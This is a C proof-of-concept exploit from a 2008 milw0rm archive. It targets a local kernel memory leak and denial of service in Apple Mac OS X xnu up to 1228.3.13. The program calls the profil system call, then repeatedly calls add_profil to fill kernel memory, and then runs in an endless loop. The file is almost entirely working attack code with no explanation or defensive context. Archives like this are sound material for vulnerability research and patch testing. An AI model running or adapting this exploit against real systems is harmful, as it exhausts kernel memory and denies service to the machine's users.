/* xnu-profil-leak.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
* by mu-b - Sat 16 Feb 2008
*
* - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
/* profil defines */
#define PROFIL_LEAK_NUM 65536 * 128
int
main (int argc, char **argv)
{
char buf[1024];
int i, n;
printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
printf ("* opening profil, pid: %d...", getpid ());
if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n");
printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32);
fflush (stdout);
for (i = 0; i < PROFIL_LEAK_NUM; i++)
{
if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("** %d-bytes filled\r", i * 32);
}
printf ("\n* done\n");
while (1)
sleep (1);
return (EXIT_SUCCESS);
}
// milw0rm.com [2009-03-23]
